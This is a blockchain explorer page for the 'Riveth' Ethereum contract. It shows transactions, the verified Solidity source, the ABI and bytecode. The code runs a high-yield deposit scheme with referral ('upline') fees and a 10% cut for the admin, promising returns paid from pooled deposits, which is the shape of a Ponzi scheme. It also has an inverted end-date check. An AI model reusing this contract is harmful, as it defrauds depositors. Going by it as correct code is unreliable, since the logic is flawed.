Contract 0xcde17703f8a92c741c832bc93739be88d2b1a42c

 

TxHash Block Age From To Value [TxFee]
0x4201110add556857d3848d1fcc44ed6fe8bc8d901a4601df2672594624f687f16642529135 days 6 hrs ago0x24335d3adb2dc0a024818195f9dd2685574a4788 IN  0xcde17703f8a92c741c832bc93739be88d2b1a42c0 Ether0.000141498
0xec9939fab30c8fc51cb3f07c18145be9752327e5a41a5410247d573d15eb78ff6554865149 days 14 hrs ago0x24335d3adb2dc0a024818195f9dd2685574a4788 IN  0xcde17703f8a92c741c832bc93739be88d2b1a42c0 Ether0.00033706
0xcae760dba2f9f43af12d4b40be608564542289314939772124a1357e2de56fe96550137150 days 8 hrs ago0xf7e565be92da2d62df540b8b754edfcd3843b456 IN  0xcde17703f8a92c741c832bc93739be88d2b1a42c0.4 Ether0.001
0x2ea0687b157e25df3082a96d885e20e0a986b152b579a581cd969b09a7215a1d6550113150 days 8 hrs ago0xf7e565be92da2d62df540b8b754edfcd3843b456 IN  0xcde17703f8a92c741c832bc93739be88d2b1a42c0.4 Ether0.001
0xaee58dd9cb2ebf4830cb5b0e2ee6b1690bf1e55b9dfef2ea1d0d46ce77d0f4ac6545563151 days 2 hrs ago0x24335d3adb2dc0a024818195f9dd2685574a4788 IN  0xcde17703f8a92c741c832bc93739be88d2b1a42c0.1 Ether0.001945812
0x5db6feac1968089a66b47edf4b836cadba604c97adda65e368fa4b793784416b6545555151 days 2 hrs ago0x24335d3adb2dc0a024818195f9dd2685574a4788 IN  0xcde17703f8a92c741c832bc93739be88d2b1a42c0.1 Ether0.0015
0x0f438535e47327c133348fb76c0f5f5e77400e822d8e13bd278eebe3db8777e36545514151 days 2 hrs ago0x24335d3adb2dc0a024818195f9dd2685574a4788 IN  0xcde17703f8a92c741c832bc93739be88d2b1a42c0.1 Ether0.000854358
0xe89a76a5575dcf24308f8551cc6aa2331566558ea4862f880ad4c882e8d8db6c6544159151 days 8 hrs ago0x380ac7950624e04098ae13bee10f1fc7916598be IN  Contract Creation0 Ether0.018316928
[ Download CSV Export 

Latest 3 internal transactions Internal Transactions as a result of Contract Execution

Parent TxHash Block Age From To Value
0xec9939fab30c8fc51cb3f07c18145be9752327e5a41a5410247d573d15eb78ff6554865149 days 14 hrs ago0xcde17703f8a92c741c832bc93739be88d2b1a42c0x24335d3adb2dc0a024818195f9dd2685574a47880.003033819444444444 Ether
0xaee58dd9cb2ebf4830cb5b0e2ee6b1690bf1e55b9dfef2ea1d0d46ce77d0f4ac6545563151 days 2 hrs ago0xcde17703f8a92c741c832bc93739be88d2b1a42c0x380ac7950624e04098ae13bee10f1fc7916598be0.005 Ether
0xaee58dd9cb2ebf4830cb5b0e2ee6b1690bf1e55b9dfef2ea1d0d46ce77d0f4ac6545563151 days 2 hrs ago0xcde17703f8a92c741c832bc93739be88d2b1a42c0x380ac7950624e04098ae13bee10f1fc7916598be0.01 Ether
[ Download CSV Export 

Contract Source Code Verified (Exact Match)

Contract Name:
Riveth

Compiler Version
v0.4.25+commit.59dbf8f1

Optimization Enabled:
Yes

Runs (Optimizer):
200

Contract Source Code

pragma solidity ^0.4.24;


library SafeMath {

  /**
  * @dev Multiplies two numbers, reverts on overflow.
  */
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
    // benefit is lost if 'b' is also tested.
    // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
    if (a == 0) {
      return 0;
    }

    uint256 c = a * b;
    require(c / a == b);

    return c;
  }

  /**
  * @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
  */
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    require(b > 0); // Solidity only automatically asserts when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold

    return c;
  }

  /**
  * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
  */
  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    require(b <= a);
    uint256 c = a - b;

    return c;
  }

  /**
  * @dev Adds two numbers, reverts on overflow.
  */
  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    require(c >= a);

    return c;
  }

  /**
  * @dev Divides two numbers and returns the remainder (unsigned integer modulo),
  * reverts when dividing by zero.
  */
  function mod(uint256 a, uint256 b) internal pure returns (uint256) {
    require(b != 0);
    return a % b;
  }
}

library AddressUtils {
    function isContract(address _addr) internal view returns (bool) {
        uint256 size;
        assembly {size := extcodesize(_addr)}
        return size > 0;
    }
}

library Helpers {
    function walletFromData(bytes data) internal pure returns (address wallet) {
        assembly {
            wallet := mload(add(data, 20))
        }
    }
}

contract Riveth {
    using SafeMath for uint256;
    using AddressUtils for address;

    address public adminWallet;

    uint256 constant public DEPOSIT_MIN = 10 finney;
    uint256 constant public DEPOSIT_MAX = 50 ether;
    uint256 constant public DEPOSIT_PERIOD = 60 days;
    uint256 constant public DEPOSIT_COUNT_LIMIT = 5;
    uint256 constant public TOTAL_BASE_PERCENT = 120;
    uint256 constant public UPLINE_BASE_PERCENT = 5;
    uint256 constant public UPLINE_MIN_DEPOSIT = 10 finney;
    uint256 constant public EXPENSES_PERCENT = 10;

    uint256 public totalDeposited = 0;
    uint256 public totalWithdrawn = 0;
    uint256 public usersCount = 0;
    uint256 public depositsCount = 0;

    mapping(address => User) public users;
    mapping(uint256 => Deposit) public deposits;

    struct Deposit {
        uint256 createdAt;
        uint256 endAt;
        uint256 amount;
        uint256 accrued;
        bool active;
    }

    struct User {
        uint256 createdAt;
        address upline;
        uint256 totalDeposited;
        uint256 totalWithdrawn;
        uint256 activeDepositsCount;
        uint256 activeDepositsAmount;
        uint256[] deposits;
    }

    modifier onlyAdmin() {
        require(msg.sender == adminWallet);
        _;
    }

    constructor() public {
        adminWallet = msg.sender;
        createUser(msg.sender, address(0));
    }

    function createUser(address wallet, address upline) internal {
        users[wallet] = User({
            createdAt : now,
            upline : upline,
            totalDeposited : 0,
            totalWithdrawn : 0,
            activeDepositsCount : 0,
            activeDepositsAmount : 0,
            deposits : new uint256[](0)
            });
        usersCount++;
    }

    function createDeposit() internal {
        User storage user = users[msg.sender];
        uint256 amount = msg.value;

        Deposit memory deposit = Deposit({
            createdAt : now,
            endAt : now.add(DEPOSIT_PERIOD),
            amount : amount,
            accrued : 0,
            active : true
        });

        deposits[depositsCount] = deposit;
        user.deposits.push(depositsCount);

        user.totalDeposited = user.totalDeposited.add(amount);
        totalDeposited = amount.add(totalDeposited);

        depositsCount++;
        user.activeDepositsCount++;
        user.activeDepositsAmount = user.activeDepositsAmount.add(amount);

        adminWallet.transfer(amount.mul(EXPENSES_PERCENT).div(100));

        uint256 uplineFee = amount.mul(UPLINE_BASE_PERCENT).div(100);
        transferUplineFee(uplineFee);
    }

    function transferUplineFee(uint256 amount) internal {
        User storage user = users[msg.sender];
        
        if (user.upline != address(0)) {
            user.upline.transfer(amount);
        }
    }

    function getUpline() internal view returns (address){
        address uplineWallet = Helpers.walletFromData(msg.data);

        return users[uplineWallet].createdAt > 0 
        && users[uplineWallet].totalDeposited >= UPLINE_MIN_DEPOSIT 
        && msg.sender != uplineWallet
        ? uplineWallet
        : adminWallet;
    }

    function() payable public {
        require(msg.sender != address(0), 'Address incorrect');
        require(!msg.sender.isContract(), 'Address is contract');
        require(msg.value <= DEPOSIT_MAX, 'Amount too big');

        User storage user = users[msg.sender];

        if (user.createdAt == 0) {
            createUser(msg.sender, getUpline());
        }

        if (msg.value >= DEPOSIT_MIN) {
            require(user.activeDepositsCount < DEPOSIT_COUNT_LIMIT, 'Active deposits count limit');
            createDeposit();
        } else {
            accrueDeposits();
        }
    }

    function accrueDeposits() internal {
        User storage user = users[msg.sender];

        for (uint i = 0; i < user.deposits.length; i++) {
            if(deposits[user.deposits[i]].active){
                accrueDeposits(user.deposits[i]);
            }
        }
    }

    function accrueDeposits(uint256 depositId) internal {
        User storage user = users[msg.sender];
        Deposit storage deposit = deposits[depositId];
        uint256 amount = getAccrualAmount(depositId);

        withdraw(msg.sender, amount);

        deposit.accrued = deposit.accrued.add(amount);

        if (deposit.endAt >= now) {
            deposit.active = false;
            user.activeDepositsCount--;
            user.activeDepositsAmount = user.activeDepositsAmount.sub(deposit.amount);
        }
    }

    function getAccrualAmount(uint256 depositId) internal view returns (uint256){
        Deposit storage deposit = deposits[depositId];
        uint256 totalProfit = totalForAccrual(msg.sender, depositId);
        uint256 amount = totalProfit
        .mul(
            now.sub(deposit.createdAt)
        )
        .div(DEPOSIT_PERIOD)
        .sub(deposit.accrued);

        if (amount.add(deposit.accrued) > totalProfit) {
            amount = totalProfit.sub(deposit.accrued);
        }
        return amount;
    }


    function withdraw(address wallet, uint256 amount) internal {
        wallet.transfer(amount);
        totalWithdrawn = totalWithdrawn.add(amount);
        users[wallet].totalWithdrawn = users[wallet].totalWithdrawn.add(amount);
    }

    function getUserDeposits(address _address) public view returns (uint256[]){
        return users[_address].deposits;
    }

    function getGlobalPercent() public view returns (uint256){
        uint256 balance = address(this).balance;
        if(balance >= 5000 ether){
            //5.5% daily
            return 330;
        }
        if(balance >= 3000 ether){
            //5% daily
            return 300;
        }
        if(balance >= 1000 ether){
            //4.5% daily
            return 270;
        }
        if(balance >= 500 ether){
            //4% daily
            return 240;
        }
        if(balance >= 200 ether){
            //3.5% daily
            return 210;
        }
        if(balance >= 100 ether){
            //3% daily
            return 180;
        }
        if(balance >= 50 ether){
            //2.5% daily
            return 150;
        }
        return TOTAL_BASE_PERCENT;
    }

    function getLocalPercent() public view returns (uint256){
        return getLocalPercent(msg.sender);
    }

    function getLocalPercent(address user) public view returns (uint256){
        uint256 activeDepositsAmount = users[user].activeDepositsAmount;
        if(activeDepositsAmount >= 250 ether){
            //5.5% daily
            return 330;
        }
        if(activeDepositsAmount >= 150 ether){
            //5% daily
            return 300;
        }
        if(activeDepositsAmount >= 50 ether){
            //4.5% daily
            return 270;
        }
        if(activeDepositsAmount >= 25 ether){
            //4% daily
            return 240;
        }
        if(activeDepositsAmount >= 10 ether){
            //3.5% daily
            return 210;
        }
        if(activeDepositsAmount >= 5 ether){
            //3% daily
            return 180;
        }
        if(activeDepositsAmount >= 3 ether){
            //2.5% daily
            return 150;
        }

        return TOTAL_BASE_PERCENT;
    }

    function getIndividualPercent() public view returns (uint256){
        return getIndividualPercent(msg.sender);
    }

    function getIndividualPercent(address user) public view returns (uint256){
        uint256 globalPercent = getGlobalPercent();
        uint256 localPercent = getLocalPercent(user);
        return globalPercent >= localPercent ? globalPercent : localPercent;
    }
    
    function totalForAccrual(address user, uint256 depositId) public view returns (uint256){
        return deposits[depositId].amount.mul(getIndividualPercent(user)).div(100);
    }
}

Contract ABI

[{"constant":true,"inputs":[{"name":"_address","type":"address"}],"name":"getUserDeposits","outputs":[{"name":"","type":"uint256[]"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"user","type":"address"}],"name":"getIndividualPercent","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"adminWallet","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"depositsCount","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"getIndividualPercent","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalWithdrawn","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"DEPOSIT_MAX","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"usersCount","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"UPLINE_BASE_PERCENT","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"user","type":"address"}],"name":"getLocalPercent","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"UPLINE_MIN_DEPOSIT","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"users","outputs":[{"name":"createdAt","type":"uint256"},{"name":"upline","type":"address"},{"name":"totalDeposited","type":"uint256"},{"name":"totalWithdrawn","type":"uint256"},{"name":"activeDepositsCount","type":"uint256"},{"name":"activeDepositsAmount","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"deposits","outputs":[{"name":"createdAt","type":"uint256"},{"name":"endAt","type":"uint256"},{"name":"amount","type":"uint256"},{"name":"accrued","type":"uint256"},{"name":"active","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"getGlobalPercent","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"getLocalPercent","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"user","type":"address"},{"name":"depositId","type":"uint256"}],"name":"totalForAccrual","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"EXPENSES_PERCENT","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"DEPOSIT_COUNT_LIMIT","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"DEPOSIT_MIN","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"TOTAL_BASE_PERCENT","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"DEPOSIT_PERIOD","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalDeposited","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"}]

Contract Creation Code

608060405260006001556000600255600060035560006004553480156200002557600080fd5b5060008054600160a060020a0319163390811782556200004e9164010000000062000054810204565b620001bc565b60e06040519081016040528042815260200182600160a060020a03168152602001600081526020016000815260200160008152602001600081526020016000604051908082528060200260200182016040528015620000bd578160200160208202803883390190505b509052600160a060020a038381166000908152600560208181526040928390208551815585820151600182018054600160a060020a0319169190961617909455918401516002840155606084015160038401556080840151600484015560a08401519083015560c083015180516200013c92600685019201906200014c565b5050600380546001019055505050565b8280548282559060005260206000209081019282156200018a579160200282015b828111156200018a5782518255916020019190600101906200016d565b50620001989291506200019c565b5090565b620001b991905b80821115620001985760008155600101620001a3565b90565b61107080620001cc6000396000f3006080604052600436106101275763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416632a5bf6d281146102ea5780632ca269801461035b57806336b19cd71461038e5780634506e935146103bf578063466a3443146103d45780634b319713146103e957806356f669db146103fe5780636ba13a821461041357806377ede44e146104285780637b29f9701461043d578063a2157d331461045e578063a87430ba14610473578063b02c43d0146104cf578063b799c24d14610514578063b90deb6d14610529578063b9c439f91461053e578063d54ffa3c14610562578063e97750ed14610428578063ed08107e1461045e578063fa1e75f014610577578063fd090e471461058c578063ff50abdc146105a1575b6000331515610180576040805160e560020a62461bcd02815260206004820152601160248201527f4164647265737320696e636f7272656374000000000000000000000000000000604482015290519081900360640190fd5b610189336105b6565b156101de576040805160e560020a62461bcd02815260206004820152601360248201527f4164647265737320697320636f6e747261637400000000000000000000000000604482015290519081900360640190fd5b6802b5e3af16b188000034111561023f576040805160e560020a62461bcd02815260206004820152600e60248201527f416d6f756e7420746f6f20626967000000000000000000000000000000000000604482015290519081900360640190fd5b503360009081526005602052604090208054151561026857610268336102636105c5565b610680565b662386f26fc1000034106102df5760048101546005116102d2576040805160e560020a62461bcd02815260206004820152601b60248201527f416374697665206465706f7369747320636f756e74206c696d69740000000000604482015290519081900360640190fd5b6102da610782565b6102e7565b6102e761091f565b50005b3480156102f657600080fd5b5061030b600160a060020a03600435166109a8565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561034757818101518382015260200161032f565b505050509050019250505060405180910390f35b34801561036757600080fd5b5061037c600160a060020a0360043516610a17565b60408051918252519081900360200190f35b34801561039a57600080fd5b506103a3610a49565b60408051600160a060020a039092168252519081900360200190f35b3480156103cb57600080fd5b5061037c610a58565b3480156103e057600080fd5b5061037c610a5e565b3480156103f557600080fd5b5061037c610a6f565b34801561040a57600080fd5b5061037c610a75565b34801561041f57600080fd5b5061037c610a82565b34801561043457600080fd5b5061037c610a88565b34801561044957600080fd5b5061037c600160a060020a0360043516610a8d565b34801561046a57600080fd5b5061037c610b61565b34801561047f57600080fd5b50610494600160a060020a0360043516610b6c565b60408051968752600160a060020a039095166020870152858501939093526060850191909152608084015260a0830152519081900360c00190f35b3480156104db57600080fd5b506104e7600435610bab565b60408051958652602086019490945284840192909252606084015215156080830152519081900360a00190f35b34801561052057600080fd5b5061037c610bdd565b34801561053557600080fd5b5061037c610c9c565b34801561054a57600080fd5b5061037c600160a060020a0360043516602435610ca7565b34801561056e57600080fd5b5061037c610cdf565b34801561058357600080fd5b5061037c610ce4565b34801561059857600080fd5b5061037c610ce9565b3480156105ad57600080fd5b5061037c610cf0565b6000813b908111905b50919050565b6000806106026000368080601f01602080910402602001604051908101604052809392919081815260200183838082843750610cf6945050505050565b600160a060020a03811660009081526005602052604081205491925010801561064d5750600160a060020a038116600090815260056020526040902060020154662386f26fc1000011155b8015610662575033600160a060020a03821614155b61067757600054600160a060020a0316610679565b805b91505b5090565b60e06040519081016040528042815260200182600160a060020a031681526020016000815260200160008152602001600081526020016000815260200160006040519080825280602002602001820160405280156106e8578160200160208202803883390190505b509052600160a060020a03838116600090815260056020818152604092839020855181558582015160018201805473ffffffffffffffffffffffffffffffffffffffff19169190961617909455918401516002840155606084015160038401556080840151600484015560a08401519083015560c083015180516107729260068501920190610fb1565b5050600380546001019055505050565b60008061078d610ff8565b336000908152600560209081526040808320815160a081019092524280835290965034955090918201906107ca90624f1a0063ffffffff610cfd16565b8152602080820186905260006040808401829052600160609485018190526004805484526006808652838520885181558887015181850155938801516002808601919091559688015160038501556080880151938201805460ff19169415159490941790935554918a0180549182018155835292909120909101558501549092506108559084610cfd565b600285015560015461086e90849063ffffffff610cfd16565b600190815560048054820181558501805490910190556005840154610899908463ffffffff610cfd16565b6005850155600054600160a060020a03166108fc6108cf60646108c387600a63ffffffff610d1a16565b9063ffffffff610d4816565b6040518115909202916000818181858888f193505050501580156108f7573d6000803e3d6000fd5b5061090e60646108c385600563ffffffff610d1a16565b905061091981610d6b565b50505050565b336000908152600560205260408120905b60068201548110156109a45760066000836006018381548110151561095157fe5b6000918252602080832090910154835282019290925260400190206004015460ff161561099c5761099c826006018281548110151561098c57fe5b9060005260206000200154610dce565b600101610930565b5050565b600160a060020a038116600090815260056020908152604091829020600601805483518184028101840190945280845260609392830182828015610a0b57602002820191906000526020600020905b8154815260200190600101908083116109f7575b50505050509050919050565b6000806000610a24610bdd565b9150610a2f84610a8d565b905080821015610a3f5780610a41565b815b949350505050565b600054600160a060020a031681565b60045481565b6000610a6933610a17565b90505b90565b60025481565b6802b5e3af16b188000081565b60035481565b600581565b600160a060020a038116600090815260056020819052604082200154680d8d726b7177a800008110610ac35761014a91506105bf565b680821ab0d44149800008110610add5761012c91506105bf565b6802b5e3af16b18800008110610af75761010e91506105bf565b68015af1d78b58c400008110610b105760f091506105bf565b678ac7230489e800008110610b285760d291506105bf565b674563918244f400008110610b405760b491506105bf565b6729a2241af62c00008110610b5857609691506105bf565b50607892915050565b662386f26fc1000081565b60056020819052600091825260409091208054600182015460028301546003840154600485015494909501549294600160a060020a0390921693909286565b600660205260009081526040902080546001820154600283015460038401546004909401549293919290919060ff1685565b6000303169010f0cf064dd592000008110610bfc5761014a915061067c565b68a2a15d09519be000008110610c165761012c915061067c565b683635c9adc5dea000008110610c305761010e915061067c565b681b1ae4d6e2ef5000008110610c495760f0915061067c565b680ad78ebc5ac62000008110610c625760d2915061067c565b68056bc75e2d631000008110610c7b5760b4915061067c565b6802b5e3af16b18800008110610c94576096915061067c565b607891505090565b6000610a6933610a8d565b6000610cd860646108c3610cba86610a17565b6000868152600660205260409020600201549063ffffffff610d1a16565b9392505050565b600a81565b607881565b624f1a0081565b60015481565b6014015190565b600082820183811015610d0f57600080fd5b8091505b5092915050565b600080831515610d2d5760009150610d13565b50828202828482811515610d3d57fe5b0414610d0f57600080fd5b600080808311610d5757600080fd5b8284811515610d6257fe5b04949350505050565b3360009081526005602052604090206001810154600160a060020a0316156109a4576001810154604051600160a060020a039091169083156108fc029084906000818181858888f19350505050158015610dc9573d6000803e3d6000fd5b505050565b336000908152600560209081526040808320848452600690925282209091610df584610e61565b9050610e013382610efe565b6003820154610e16908263ffffffff610cfd16565b600383015560018201544211610919576004808301805460ff191690558301805460001901905560028201546005840154610e569163ffffffff610f9a16565b600584015550505050565b60008181526006602052604081208180610e7b3386610ca7565b9150610ebf8360030154610eb3624f1a006108c3610ea6886000015442610f9a90919063ffffffff16565b879063ffffffff610d1a16565b9063ffffffff610f9a16565b905081610ed9846003015483610cfd90919063ffffffff16565b1115610a41576003830154610ef590839063ffffffff610f9a16565b95945050505050565b604051600160a060020a0383169082156108fc029083906000818181858888f19350505050158015610f34573d6000803e3d6000fd5b50600254610f48908263ffffffff610cfd16565b600255600160a060020a038216600090815260056020526040902060030154610f77908263ffffffff610cfd16565b600160a060020a0390921660009081526005602052604090206003019190915550565b60008083831115610faa57600080fd5b5050900390565b828054828255906000526020600020908101928215610fec579160200282015b82811115610fec578251825591602001919060010190610fd1565b5061067c92915061102a565b60a060405190810160405280600081526020016000815260200160008152602001600081526020016000151581525090565b610a6c91905b8082111561067c57600081556001016110305600a165627a7a72305820e72684110386f21de35b20fa985f3b2d1bb8846bd5649b2015e5fe47dc88f8ab0029

Swarm Source

bzzr://e72684110386f21de35b20fa985f3b2d1bb8846bd5649b2015e5fe47dc88f8ab
Block Age Transaction Difficulty GasUsed Reward
Block Age Uncle Number Difficulty GasUsed Reward
Loading
Make sure to use the "Vote Down" button for any spammy posts, and the "Vote Up" for interesting conversations.